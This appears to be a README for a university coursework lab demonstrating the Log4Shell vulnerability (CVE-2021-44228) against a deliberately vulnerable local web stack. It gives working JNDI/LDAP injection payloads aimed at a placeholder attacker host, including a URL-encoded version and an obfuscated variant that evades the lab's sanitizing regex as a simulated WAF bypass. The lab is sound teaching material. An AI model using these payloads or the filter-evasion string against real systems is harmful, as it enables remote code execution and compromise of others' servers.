
Proof of Concept for the Log4Shell vulnerability (CVE-2021-44228), developed as part of the coursework for the curricular unit TPAS in the Master's degree in Information Security at FCUP.
This repository contains a Proof of Concept (PoC) for the Log4Shell vulnerability (CVE-2021-44228), developed as part of the coursework for the curricular unit TPAS in the Master's degree in Information Security at FCUP.
It features:
To run this stack you need to:
Once everything is running:
Place this payload on the search bar (URL encoded since it will be on a GET query param):
%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D
Or place this payload on the headers of a request (you can use burp suite to intercept a request and tamper it):
${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}
On the website, there is an icon next to the user's name that allows toggling between sanitizing the logged string using the regular expression \$\{jndi:.*?} or not. By default, sanitization is disabled, represented by a red demon icon. When sanitization is enabled, the icon changes to a green smiley face.
This feature can be used as a way of simulating a WAF bypass, you can add more regular expressions on the backend's LoggerManager.java class.
Here's a payload that will not be matched by the current regex:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}